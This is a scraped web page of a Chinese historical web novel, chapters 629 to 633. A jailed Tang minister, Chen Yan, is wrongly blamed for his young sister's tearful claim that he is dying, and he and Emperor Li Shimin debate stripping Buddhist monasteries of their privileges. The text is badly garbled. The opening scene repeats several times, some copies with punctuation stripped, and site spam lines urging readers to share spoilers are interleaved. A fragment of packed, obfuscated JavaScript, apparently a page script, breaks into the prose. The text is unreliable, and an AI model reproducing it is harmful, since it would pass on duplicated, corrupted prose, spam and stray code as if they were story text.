天天泡在泥水里,跟灾民抢时间,跟洪水赛跑,好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白,魏征说得没错。 这种事,朝中确实没人比他更熟悉了。 换了别人去,万一出了岔子,洛阳那边几十万百姓可等不起。 “柴将军。” 就在这时,马周突然开口,走上前来,从袖中取出一份厚厚的文书,“这是尚书大人临走前留下的赈灾方略,里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤,还有与钱庄配合平抑粮价的具体办法。” “您带着这个,到了洛阳也好有个参照。” 柴绍接过文书,粗略翻看了一下,眼中闪过一丝惊讶。 说的域名caixs?(请来才小 说 看最新章节 完整章节) 这哪里是什么初步拟定? 从灾民安置点的选址,到每日粥厂用粮的精确计算,从防止瘟疫的药材储备,到以工代赈的具体工种安排。 事无巨细,条理分明! 甚至连可能出现的问题,和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的?” “是。”马周点头,“尚书大人说过,户部的事,不能等圣旨到了才开始准备,该想到的,得提前想到。” 柴绍沉默片刻,心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话,贞观四年的时候,就是他提前察觉了黄河要出现洪灾,所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下,硬生生从世家手中掏出了大量的钱财,凑齐了赈灾需要用到的物资,救了无数百姓的命。 如今又在收到消息不过区区一两天的情况下,又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “臣……” 柴绍张了张嘴,想说点什么,但看着李世民那不容置疑的眼神,最终还是把话咽了回去,躬身道: “臣遵旨。” 他心里苦啊。 贞观四年那场洪灾,他差点没累死在黄河边上。 天天泡在泥水里,跟灾民抢时间,跟洪水赛跑,好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白,魏征说得没错。 这种事,朝中确实没人比他更熟悉了。 换了别人去,万一出了岔子,洛阳那边几十万百姓可等不起。 “柴将军。” 就在这时,马周突然开口,走上前来,从袖中取出一份厚厚的文书,“这是尚书大人临走前留下的赈灾方略,里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤,还有与钱庄配合平抑粮价的具体办法。” “您带着这个,到了洛阳也好有个参照。” 柴绍接过文书,粗略翻看了一下,眼中闪过一丝惊讶。 这哪里是什么初步拟定? 从灾民安置点的选址,到每日粥厂用粮的精确计算,从防止瘟疫的药材储备,到以工代赈的具体工种安排。 事无巨细,条理分明! 甚至连可能出现的问题,和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的?” “是。”马周点头,“尚书大人说过,户部的事,不能等圣旨到了才开始准备,该想到的,得提前想到。” 柴绍沉默片刻,心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话,贞观四年的时候,就是他提前察觉了黄河要出现洪灾,所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下,硬生生从世家手中掏出了大量的钱财,凑齐了赈灾需要用到的物资,救了无数百姓的命。 如今又在收到消息不过区区一两天的情况下,又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “臣…… 柴绍张了张嘴,想说点什么,但看着李世民那不容置疑的眼神,最终还是把话咽了回去,躬身道: “臣遵旨。 他心里苦啊。 贞观四年那场洪灾,他差点没累死在黄河边上。 天天泡在泥水里,跟灾民抢时间,跟洪水赛跑,好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白,魏征说得没错。 这种事,朝中确实没人比他更熟悉了。 换了别人去,万一出了岔子,洛阳那边几十万百姓可等不起。 “柴将军。 就在这时,马周突然开口,走上前来,从袖中取出一份厚厚的文书,“这是尚书大人临走前留下的赈灾方略,里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤,还有与钱庄配合平抑粮价的具体办法。 “您带着这个,到了洛阳也好有个参照。 柴绍接过文书,粗略翻看了一下,眼中闪过一丝惊讶。 这哪里是什么初步拟定? 从灾民安置点的选址,到每日粥厂用粮的精确计算,从防止瘟疫的药材储备,到以工代赈的具体工种安排。 事无巨细,条理分明! 甚至连可能出现的问题,和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的? “是。 柴绍沉默片刻,心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话,贞观四年的时候,就是他提前察觉了黄河要出现洪灾,所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下,硬生生从世家手中掏出了大量的钱财,凑齐了赈灾需要用到的物资,救了无数百姓的命。 如今又在收到消息不过区区一两天的情况下,又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “臣……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柴绍张了张嘴,想说点什么,但看着李世民那不容置疑的眼神,最终还是把话咽了回去,躬身道: “臣遵旨。 他心里苦啊。 贞观四年那场洪灾,他差点没累死在黄河边上。 天天泡在泥水里,跟灾民抢时间,跟洪水赛跑,好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白,魏征说得没错。 这种事,朝中确实没人比他更熟悉了。 换了别人去,万一出了岔子,洛阳那边几十万百姓可等不起。 “柴将军。 就在这时,马周突然开口,走上前来,从袖中取出一份厚厚的文书,“这是尚书大人临走前留下的赈灾方略,里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤,还有与钱庄配合平抑粮价的具体办法。 “您带着这个,到了洛阳也好有个参照。 柴绍接过文书,粗略翻看了一下,眼中闪过一丝惊讶。 这哪里是什么初步拟定? 从灾民安置点的选址,到每日粥厂用粮的精确计算,从防止瘟疫的药材储备,到以工代赈的具体工种安排。 事无巨细,条理分明! 甚至连可能出现的问题,和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的? “是。马周点头,“尚书大人说过,户部的事,不能等圣旨到了才开始准备,该想到的,得提前想到。 柴绍沉默片刻,心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话,贞观四年的时候,就是他提前察觉了黄河要出现洪灾,所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下,硬生生从世家手中掏出了大量的钱财,凑齐了赈灾需要用到的物资,救了无数百姓的命。 如今又在收到消息不过区区一两天的情况下,又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “臣……” 柴绍张了张嘴想说点什么但看着李世民那不容置疑的眼神最终还是把话咽了回去躬身道: “臣遵旨。” 他心里苦啊。 贞观四年那场洪灾他差点没累死在黄河边上。 天天泡在泥水里跟灾民抢时间跟洪水赛跑好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白魏征说得没错。 这种事朝中确实没人比他更熟悉了。 换了别人去万一出了岔子洛阳那边几十万百姓可等不起。 “柴将军。” 就在这时马周突然开口走上前来从袖中取出一份厚厚的文书“这是尚书大人临走前留下的赈灾方略里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤还有与钱庄配合平抑粮价的具体办法。” “您带着这个到了洛阳也好有个参照。” 柴绍接过文书粗略翻看了一下眼中闪过一丝惊讶。 这哪里是什么初步拟定? 从灾民安置点的选址到每日粥厂用粮的精确计算从防止瘟疫的药材储备到以工代赈的具体工种安排。 事无巨细条理分明! 甚至连可能出现的问题和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的?” “是。”马周点头“尚书大人说过户部的事不能等圣旨到了才开始准备该想到的得提前想到。” 柴绍沉默片刻心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话贞观四年的时候就是他提前察觉了黄河要出现洪灾所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下硬生生从世家手中掏出了大量的钱财 如今又在收到消息不过区区一两天的情况下又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第629章 陈衍:啊?我要死了? “爷,今天中午想吃点啥,小的给您弄去。” 大理寺狱内,裴光来到关着陈衍的牢房前,冲着躺在床上睡大觉的陈衍说道。 别问为什么有床,问就是大理寺狱最近要关爱犯人,所以给他们配备了床和被褥。 “啊.......”陈衍转了个身,随口道:“今天随便整点吧,去那个醉仙楼,给我整个火锅来吃吃就行,最近嘴里都淡出个鸟儿来了。” 裴光:“......” 得,对于这位爷来说,可能吃个醉仙楼的火锅,还真的是随便吃吃。 关键是这位爷想吃,上面还真有办法整进来。 裴光也无所谓,反正只需要把陈衍的要求上报就行了,上面有人会安排下来的。 “行,您稍等哈,小的跟上面的人说一声。” 接着,裴光便把陈衍的要求往上一报,又跑了回来:“爷,今天朝堂出大事了,您知道不?” 听到这话,陈衍终于是睁开了眼,不过他没有第一时间说话,而是定定看了外面一脸兴奋的裴光两息,才缓缓开口问道:“发生什么事了啊?” “小的听上面的人偶然说起,今天您手下那个叫韩仲良的,把萧大人气吐血啦。” “在太极殿内当众晕死了过去,听说是被太医抬出去的呢。” 陈衍一怔,脸上露出了一丝意外之色。 裴光所谓的‘偶然’听到上面人提起,这个‘偶然’是不是有人故意为之......暂且不论。 韩仲良把萧瑀气吐血了? 还晕死了过去?被太医抬出了太极殿? 他咋就那么不相信呢? 自己可是掏出了板砖,给萧瑀敲了两个大包,他眼眶都挨了一大锤,也没见萧瑀气吐血啊。 “爷,您这是不相信呢?” 见他的表情,裴光双眼放光,明显是忍不住要说八卦了。 陈衍沉默道:“你具体说说,到底是怎么回事?” “怎么回事......这个小的具体不清楚,只是上面的人说,韩侍郎跟萧大人意见不合,吵了起来,萧大人似乎是不同意韩侍郎的意见,然后韩侍郎来了一句:当初你父母还活着的时候,你又这么维护过他们吗?” “直接给萧大人气吐血了!” 说到这里,裴光愈发兴奋,加快了语速:“爷,这真不是我吹,上面的人说的言之凿凿,我觉得不像假。” “您手底下还有如此猛将呢?” 陈衍:“......” 仔细琢磨了一遍裴光的话,他面露古怪,强忍着笑意道:“那你说呢?” “咱好歹是个户部尚书,手底下没两个能人怎么行?” “不是我跟你吹,就韩仲良这样的人,我户部起码还能找出九个,整整九个!” “麻蛋,就萧瑀那种老菜梆子,我户部轮番上阵能给他气吐血五次!” “我......哟?” 陈衍正说着,余光忽然瞥见了一个熟人:“柴大将军,什么风把您吹来了?” 此时,裴光这才察觉到有人接近,不敢再像刚才跟陈衍说话时那样随意了,连忙行礼,然后退了出去。 柴绍没好气地瞪他一眼,从袖中抽出那份文书挥了挥:“你写的?” 陈衍从床上起身,来到监牢门前,看了眼柴绍手中的文书,乐了:“柴将军,您这把属实又掏上啦。” “看样子,陛下是打算派您去洛阳了。” “这可是好差事啊,您要是办好,又是大功一件。” “那恭喜你啊,柴将军。” “我谢谢你。”柴绍咬牙切齿:“这种功劳,贞观四年我才立过一次,这次又让我去,你是不是对我有什么意见?” “天地良心啊。”陈衍举起双手,“这事跟我可没关系,我人都在这儿关着呢,还能控制朝堂不成?” “再说了,这想必是陛下的决定,这哪里是我能左右的?” 他确实不能左右,但只是做出一些小小的推测,让魏征等人合理地建议一下,这应该没问题吧? 柴绍懒得跟他贫,直接坐到牢房门口,把文书摊开:“别废话,跟我说说,这里面有没有什么坑?” 陈衍笑了笑,也正色起来:“该说的,我其实已经全部写在里面了,你只管做好自己的事就好了。” “其他的事......自会有其他人去做。” 柴绍听出了陈衍的言外之意,点点头,“好,那我就做好自己职责范围内的事就好了。” “对了。”柴绍这时提起了一件事:“别怪我没提醒你,上次我正好去探望太上皇,结果遇到了晋阳公主哭诉着跟陛下告状,说陛下要把你活活打死。” “那小家伙哭得可伤心了,说话断断续续,看起来就可怜,给太上皇心疼坏了,带着她就直奔宫里。” 说到这里,柴绍压低声音道:“你小子,有些时候别太狠了,起初陛下估计就想关你两天,你现在整这一出......你说你不自讨苦吃吗?” “你不让陛下好过,陛下能让你好过?” “你怎么聪明了一世,到这种小事上,反而这么糊涂了呢?” 闻言,陈衍顿时懵了。 他急忙抓着柴绍的手问道:“不是,柴将军,这里面是不是有什么误会啊?” “什么叫晋阳公主跑去跟太上皇哭诉了,说陛下要把我打死?” “你不知道?”柴绍惊讶道:“可我听当时晋阳小公主的话,她说你马上就要死了,什么什么的,以后要好好长大,今后让魏王代替你背她出嫁,说得那叫一个情真意切,可怜至极。” “这不是你说的吗?” “我说个屁啊我!”陈衍顿时慌了。 本来自己就没什么大问题,无非就是进来住两天,回头爵位一削,万事皆大吉。 多好啊? 结果这特么什么情况? 他怎么好端端就要死了,还跟兕子说什么以后让魏王代替自己背她出嫁这种话? 自己什么时候说过这种话了? 这不纯放屁吗? 本来好好的一桩事,这要是李渊带着兕子去李世民那里一闹,人家吃了苦头。 就像柴绍说的那样,自己能好过? “反正我事儿已经告诉你了,其他的我也不知道,我不管了。” 柴绍把事儿问清楚,话一说完,站起身,拍拍屁股,离开了。 “.......哎!哎!把话说清楚啊,到底怎么回事?我没说过这些话啊,我更没让兕子去找太上皇啊......哎呦我......” “吾艹啦!” “谁特么的暗中陷害我啊!” “.......” 第630章 朕信你一次被坑一次,你还让朕相信你? “阿姐,咱们又被阿兄给骗啦!!!” 兕子一回到家里,便迫不及待跑到主卧,叉着小腰,对着照顾孩子的高阳大声喊道:“阿兄根本不用死,阿耶阿娘没有要打死他,他骗我们感情!” “用他自己的话来说,他就是个渣男!” 李丽质刚好奇地进来,便听到了这句‘渣男’,险些没忍住笑出了声。 高阳故作惊讶道:“是吗?” “不会吧?” “可我当时听你阿兄说得很认真啊,眼睛都红了,看上去真情流露,怎么可能是假的?” “阿姐!”兕子恨铁不成钢,“你怎么还相信阿兄啊,他就是全天下最大的大忽悠,嘴里没一句实话。” “我们都被他给骗啦!” “他好着呢,过两天就要出来了,这是阿耶亲口说的。” 说到这里,兕子委屈道:“阿兄坏,老是骗我这个三岁小孩,亏我还哭了那么久,去找皇爷爷骂阿耶阿娘,结果他根本没事。” “我又被骗啦!” “好丢人的!” 高阳强忍着笑意,捂了捂脸,嘴角止不住地抽动,简直比ak还难压:“那......那太过分了吧?” “亏我都准备让人收拾行李,准备棺材了。起初我还想着,等阿兄走了,咱们替他安排好后事,守完灵,就带着你们前往渭南县居住呢。” “你说这可怎么办?哎呀,我得赶紧去把棺材退了,真晦气。” “不用退啦!”兕子气愤不已,小手一挥,“本来阿耶阿娘没想打阿兄的,但是我后来气不过,就让阿耶打阿兄一顿。” “棺材先不用退了,咱们说不定还用得着。” 此话一出,高阳和李丽质脸色瞬间变了。 李丽质伸手揪着兕子的耳朵:“你说什么胡话呢?还不用退了,不用退留着给你用吗?” “人小鬼大,一天天的没个消停。” “别逼我揍你啊!” 兕子小脸垮下来:“阿姐......这不一样,阿兄老是骗我,我都上了好多回当了。” “自从跟着阿兄生活之后,我唯一的感觉就是每天都得上一当,而且当当不一样。” “我非得让阿耶好好教训一下阿兄不可,看他以后还敢不敢当渣男,骗我的感情。” 高阳:“......” 李丽质神色古怪,悄悄瞥了眼自家已经生了娃,但还幼稚无比,心都是黑的大妹妹。 这把啊......这把属于一石二鸟了。 李世民和陈衍估计都挺懵逼。 懵逼之后,估计更委屈。 高阳莞尔道:“兕子呀,你也别生气了,他再怎么不好,都是你阿兄,也是我跟你姐姐的夫君,是不是?” “现在你阿兄还被关在狱里,咱们不能说这种话哈。等他回来了,咱们一家人关起门来,自己家的事自己解决,免得让人看了笑话。” 兕子想了想,觉得有道理,便点点小脑袋道:“阿姐,你真的变了,现在多通情达理了。” “反倒是阿兄......唉~” “他什么时候才能长大呀。” 她小大人似的叹息,学着陈衍平常的样子,背着双手,看起来颇为滑稽:“阿姐,既然已经知道阿兄在骗人,就让他被关几天吧。” “我实在有点心累,我先回去休息了。” “嗯,你去吧。”高阳也很希望兕子赶紧走,因为她怕对方如果再不走的话,自己就要忍不住笑出来了。 果然。 等兕子一离开,高阳就立刻咯咯笑出了声,抱着自己的女儿在床上打滚。 “.......” “卧槽了呀!” “谁!到底是谁啊!” 大理寺狱内,柴绍离开不久,陈衍越想越不对劲,连裴光带来的火锅他都觉得索然无味,气得破口大骂。 经此一遭,李世民不好过了,他特么能放过自己? 自己是特么背上了一口大黑锅,有小人在从中作梗啊! “爷,你这是怎么了?” 裴光听到里面的动静,便走到牢房前查看:“谁又惹您生气啦?” “不知道。” 陈衍黑着脸:“我刚刚给自己算了一卦,卦象显示我头顶乌云密布,即将大难临头。” “裴光啊,你要不放我出去吧,等我解决了这即将到来的灾难,我再继续回来住。” 说完,陈衍便等着裴光的回应。 说真的,其实他没想让裴光真的放自己出去,但他没有听到裴光的回应,反倒听到了开锁的声音。 因为是背对着吃火锅,所以陈衍疑惑地回头一瞅,心里还寻思着裴光这小子该不会真拎不清,要放自己出去吧? 只是,这一看,险些没把自己的心给吓出来。 “哎呦......哎呦喂,陛下,您咋来了呀?” 陈衍热情地起身,赶忙招呼李世民过来坐下吃火锅。 李世民黑着一张脸,看了看不远处的床榻,又看了看面前的火锅,冷笑一声:“不愧是国公爷哈,哪怕进了监狱,这生活条件是一点都没下降啊。” “这有肉有酒的,还有好地方睡觉。” “朕就纳闷了,这些东西应该出现在大理寺狱里面吗?” “陛下您有所不知。”陈衍笑嘻嘻道:“犯人也是人嘛,更何况来这里的人基本上没什么好下场,都已经走到人生末路了,所以给予了一点点条件上的优待。” “哦~”李世民恍然大悟:“这么说,你也是如此咯?” “那要不要朕帮你定口棺材啊?给你风光大办一下?” “毕竟你都跟兕子说你要死了,给她留下了一处桃花庄园。” 陈衍暗道一声不妙,可见李世民话已经说到这个份上,他索性直言道:“陛下,这里面肯定有什么误会,我绝对没有说过这种话,你要相信我啊!” “相信你?”李世民额头青筋鼓起,“在这种事上相信你?” “朕信你一次被坑一次,你还让朕相信你?” “去你的吧!” “.......” 第631章 快刀乱麻 “不是,这次不一样,真的,你要相信我啊。” 陈衍人都麻了,急忙解释道:“我真没有说过这种话。” “我又不傻,明知道自己顶多被关几天意思意思,干嘛非要干这种吃力不讨好的事情?” “即使是我想坑您,可起码要自己能够置身事外吧?我这么明目张胆地坑您,我自己能好受?” “但如果不是你,还能有谁?”李世民黑着脸,显然是一点没听进去:“你觉得是兕子?” “她才几岁?能编得出这种话?” “还说什么在渭南县留下了一处庄园,里面种满了桃花,这句话朕无论怎么听都觉得耳熟。” “贞观四年的时候,你跟高阳第一次见面入狱,你后来就是这样写信给朕的。” “狗屁的种百亩桃花。” “你们还说不是你?” 闻言,陈衍一时语塞。 听起来,这好像确实很像他的手笔,但问题是,这真的跟他没关系啊。 特么的,裤裆上面沾黄泥,不是史也是史了。 “您爱信不信吧,反正跟您说的是实话,没有撒谎。” 意识到自己解释不清楚,陈衍索性不解释了,重新一屁股坐下来,抄起筷子吃肉。 别说,正因为这样,李世民反倒对陈衍多了几分信任。 不过,就算不是陈衍,也一定跟陈衍脱不了关系。 所以他压根没打算放过陈衍。 只是,在这之前,还有些事情需要解决。 李世民也坐了下来,拿过碗筷,一边吃一边问道:“今天萧瑀被韩仲良气吐了血,晕死了过去。” “洛阳水患的事情,已经安排了下去。” “现在,就剩下你说的反佛了......此事朕下过令,不允许任何人传出去,违者斩,即便外面有人知晓,也不敢声张,所以目前的风波还停留在朝堂。” “可你要清楚,这种消息能瞒得住一时,瞒不住一世,一旦消息被传出去,被佛门知晓,他们煽动舆论,对我们就不妙了。” “毕竟你自己都说过,佛门的信徒太多,而且很会蛊惑人心,如果你想做这件事,必须快刀乱麻,不能继续拖了。” 陈衍咧嘴道:“陛下,您之前不是还说要反对吗?现在怎么又说让我快刀乱麻了?” “......你能不能谈?不能谈朕走了,回头就满足程咬金的要求,赏你四十大板。” “你看你看,说两句您又不高兴了,我这不是活跃活跃气氛嘛。” 陈衍干咳一声,正色起来:“陛下,你认为的快刀乱麻,无非是说让我心狠一些。” “到了今天,我下令让韩仲良他们调查的消息应该有结果了,您应该也拿到了。” “倘若把这些消息通过大唐民报刊登出去,然后立刻举起屠刀,杀个人头滚滚。” “如此一来,效果固然不错,不过您有没有想过,秃驴是杀不完的,特别是在佛教兴盛的大唐。” “这些秃驴、寺庙啊,历史上已经不是第一次灭了,可他们不依然死灰复燃了吗?” “想对付这些人,还得从根源出发。” 李世民眉头一挑:“子安,朕还以为你坐上了如今的位置,整个大唐的钱袋子都在你手里握着,权势滔天,心应该渐渐冷了下来。” “只是,朕没想到,你还是如此心软。” “你从根源解决,跟举起屠刀杀一批秃驴,有任何冲突吗?” 陈衍一怔,哑然失笑:“陛下,不要用激将法了,我并未完全否定杀一批人,寺庙里有罪的、无罪的,我杀起来绝对不会有任何心理负担。” “可这并不是主要的问题。” “主要的问题在于,寺庙拥有的特权太大了。” “我要灭的也不是佛,而是佛门里藏着的那些罪孽深重的人,以及......佛门的特权!” “韩仲良调查的东西是什么?这么短的时间,无非就查出长安几个寺庙的情况呗。” “杀又能杀多少?” “陛下,你总说我现在已经不是渭南县的县令了,目光不该局限在县城内,应该面向整个大唐。” “所以,我的想法是,先把这些人全部缉拿,然后用不良人、官府、以长安为中心,慢慢往外查,或者直接发布悬赏,让百姓自己举报。” “在整个佛门人心惶惶的时候,一次性将那些该死的秃驴全部杀个一干二净!” “......” 陈衍的话,令李世民沉默了许久。 本来他就是开开玩笑,用这个打趣了陈衍。 没想到陈衍顶多同意他的想法,把这批调查出来的人杀了。 没想到陈衍压根没把这批人放在眼里,他比李世民想得更狠,要把全大唐有罪的秃驴全杀了。 这他娘的...... 得杀多少啊? 关于寺庙里的肮脏事,李世民了解的不算多,但也不算少。 怎么说呢,萧瑀有一句话说得确实很对,寺庙不是没有真大师。 但真大师整个大唐才有多少? 就像道门,现在不就袁天罡和李淳风两个人独领风骚吗? 进入寺庙那个大染缸里,哪怕一开始是真想皈依佛门,可跟那群人接触久了,很难说还能不能保持住本心。 例如大唐不少僧人大口吃肉、大口喝酒,甚至在外面娶妻生子。 这都已经算很好的了。 李世民沉默半晌,问道:“你打算怎么动他们的特权?” 他没有对陈衍想杀整个大唐有罪僧人表达意见,而是问了陈衍打算怎么动他们的特权。 可没有回答,有时候就是最好的回答。 在李世民看来,寺庙里的僧人本来就享受了相当大的特权,享受了百姓的香火供奉。 他不求这些僧人变成什么得道高僧,起码得不危害百姓吧? 如果危害了,那么就是死有余辜。 陈衍笑了:“陛下,您真的确定了吗?” “这一步可不好走,一旦踏出去,咱们就再也没有回头路了。” 李世民淡淡道:“可笑,难不成朕还会忌惮佛门?如果不是贞观初的时候,大唐太过艰难,朕早就对他们动手了。” “陛下,您知道我指的不是这个。” “......” 第632章 真的决定好了吗? “呵呵......” 李世民深深看了眼陈衍,端起酒杯,自顾自喝着酒。 他自然清楚陈衍说的是什么,无非就是动寺庙的特权而已。 勋贵们的特权,他暂时是动不了,一个累进税制,都要一点点铺垫、想尽办法来做准备。 然而直到现在,他们都没有具体付出行动。 为什么? 因为李唐的江山都是靠着这群勋贵支持,才打下来的,如果一旦动他们的利益,李世民都不敢说会发生什么。 既然勋贵的利益不能动,而又想增加国库收入,减少土地兼并,那自然得挑一个软柿子。 寺庙,自然就进入了他们的视线。 这也是为什么韩仲良一提,陈衍便立刻拍板,甚至不惜硬撼一群文官的原因。 不过,一旦动了佛门的利益,加上此前种种,勋贵们即便再傻,都明白李世民要做什么了。 因为现在李世民手中握着不少狠牌,即便这些勋贵知道李世民要做什么,也暂且没什么好办法。 就像陈衍毫不顾忌说出累进税制一样,他根本就不怕世家、勋贵们在此时翻脸。 比起遮遮掩掩,不如大大方方地说出来,这样还能给双方一个心理准备。 然而,李世民跟诸多世家、勋贵的冲突早已达到了不可调和的地步,随着活字印刷、造纸术、水力纺织机逐步面世,世家的根本正在被一点点动摇。 而现在,李世民又要踏出触动特权、涉及土地这一步......就真的再也没有回头路。 真真正正的不是你死,就是我活。 “子安啊。” 李世民放下酒杯,缓缓道:“你心里应该早就已经有了答案。” “自从你跟朕说出这个王朝周期律,讲清楚各个王朝到了最后,都会进行循环洗牌。” “朕就知道,倘若朕跟以往的皇帝一样,只做一代明君、甚至千古一帝,绝对无法保证我大唐江山传承不断。” “如果朕不知道这些,或许朕不会如此着急地对付世家,朕会一步一步来,哪怕留给承乾、甚至皇孙来对付,都没关系。” “但现在朕明白了,世家并不是那么的可怕,真正可怕的是这个循环,朕不能放任这种情况出现,朕必须得做点什么。” 说到这里,他低笑了一声,语气复杂道:“当初,在渭南县的时候,你跟我说完王朝周期律,朕回去是日思夜想、跟诸位大臣彻夜长谈。” “后来,朕跟杜如晦他们忽然发现了一个可怕的真相,你说的这个循环,太残酷了!” “真的太残酷了!” “它不仅仅是王朝的循环,更是无数条人命的循环,回想汉文帝、汉武帝时期,汉朝空前强大,那时的人口是多少?” “可当西汉灭亡之后,东汉于废墟中建立起来,那个时候的人口又是多少?” “大业前几年,官府登记的人口是多少?足足八百多万户,而武德元年的人口才多少?呵呵......朕告诉你,不到大业前几年的三成!” “剩下七成人口去了哪里?子安......作为提出王朝周期律的你,难道还不清楚吗?” 陈衍默然,一言不发。 尽管他只是个医学生,但这种历史问题,他还是多少清楚的。 王朝周期律可不单单是王朝的循环,而是一切都开始重新洗牌,不仅是江山、土地、贵族、皇室,连好不容易休养生息,恢复过来的人口都包括在内。 为什么? 因为在这个时代,土地是一切生产的根本,但土地一样有承受极限。 一旦超过这个极限,便需要清理掉这批多出来的人口,如此天下才能恢复正常运转,新的王朝才能于此建立起来。 至于怎么清理...... 自然没有比一场动乱、一场席卷天下的战争、瘟疫,或者天灾更好的办法了。 历史周而复始,循环不息啊! “那陛下,是决定好了吗?”陈衍提起酒壶,给李世民倒满了酒。 “你是在跟朕确定吗?”李世民反问一句,随后自顾自说着: “朕大力支持你建设工坊、招收百姓、朕支持你开图书馆,让天下人都有机会读书开智,朕支持你用皇家的名义开钱庄,聚集天下钱财。” “朕的想法,你当真不明白吗?” “陛下英明神武,我自然是清楚的......”陈衍含笑点头,“不过,这条路太难了,可能我们能一路赢到最后,然后站在世间的顶端,傲然古今,将‘唐’这个字,深深刻入这片土地人们的骨血里。” “同时......我们还可能撞碎了一堵南墙,结果发现后面还有更高、更厚的南墙。但没有回头路的我们,只能咬牙继续撞,最终撞得个头破血流,沦落为他人茶余饭后的笑料。” “陛下啊......” “所以我要问问您,您真的决定好了吗?” “......” 在阳光永远照耀不到的大理寺狱,监牢内只有一盏油灯静静摇晃着。 略显杂乱的地面,倒映着两道举着筷子,却沉默不语的身影。 整个监牢都安静了下来,只剩下火锅沸腾的咕咕冒泡声。 “子安啊,你话里有话啊。”李世民端起酒杯,一饮而尽,“朕知道你想说什么,这条路走到底,要么是千古流芳,要么是万劫不复。” 陈衍没有说话,只是静静地看着他。 “可朕问你。”李世民放下酒杯,语气平静:“如果朕现在收手,就能安安稳稳做个太平天子吗?世家会放过朕吗?他们会觉得朕识相,然后就乖乖听话,不再跟朝廷作对?” 李世民没给陈衍说话的机会,继续开口:“不会的,朕太了解他们了。” “在双方已经争斗到这种地步,朕退一步,他们就会进两步,朕让一寸,他们就会夺一尺!” “到最后,朕的子孙要么成为他们手里的傀儡,要么就跟汉末那些皇帝一样,眼睁睁看着江山四分五裂。” 陈衍微微颔首,依然没说话。 “所以啊。”李世民拿起筷子,在火锅里搅了搅,“朕没得选,你也没得选,咱们都被架在这条船上了,只能往前划。” “......” 第633章 你穿铁裤衩了? “话说回来,你小子,这不是你期望看到的吗?” 李世民平静道:“如若不然,你也不会一声招呼不打,直接带上整个户部官员喊出灭佛。” “既然是你自己期望看到的,朕满足你又能如何?” 陈衍连连摆手:“您这话说得,好像还是我把您拉下水一样。” “我只不过给您提供了一个选择罢了,您完全可以不必按照我的预期去动佛门的特权,可以制定一些制度来限制佛门就好了,前几次喊着要反佛的人,不正是这样的想法吗?” “现在搞得好像是我拉您下水一样,这个罪名太大,我可担不起,您别这么说噢。” “难道不是吗?”李世民抬眼道:“要不是你那张嘴,跟朕说什么王朝周期律,说什么土地兼并、民不聊生,又喊出了要灭佛,这个时辰,朕应该还在宫里赏花,听歌舞呢。” “怎么会来到这鸟不拉屎的地方,跟你吃火锅。” 陈衍不置可否,轻轻笑了声,什么都没说。 李世民叹了口气:“可你说得对,朕认了。朕当这个皇帝,不是为了混吃等死来的。既然老天爷让朕坐上这个位置,又让朕遇到了你,那朕就得干点实事。” “至于你说的南墙......”他顿了顿,“撞就撞呗。撞破了,咱们继续往前走,撞不破,后世的人也会记得,曾经有个叫李世民的皇帝,带着个叫陈衍的愣头青,试着撞过这堵墙。” “好!”陈衍举起酒杯,郑重道:“连您都这样说了,那我就陪您撞这一回!” “撞破了,咱们君臣名垂青史,撞不破,咱爷俩就当有个伴儿,哪怕被人嗤笑,今后也在一起。” “呵......” 按照陈衍的设想,此时的李世民应该是心情激荡的,搞不好还会放下架子,跟他说些心里话。 只是让陈衍没想到的是,李世民只是冷笑了一声,压根没理会陈衍举起来的酒杯,放下筷子,站起了身,走出了牢房。 “来人。” “奴婢在。” 无舌不知何时冒了出来。 “渭国公陈衍,不顾朝堂秩序,无视礼法,带着户部激起矛盾,甚至带着意见不合的双方官员当朝斗殴,践踏礼法、罔顾朝堂威严,视天理、法理于无物,罪孽深重。” “然,看在其功高且年幼,削去渭国公爵位,降为渭南伯.......” 说着,李世民微微侧头,低声笑道:“再打咱们国公......哦,不对,伯爷二十大板。” 陈衍:“.......” “.......是,陛下。” 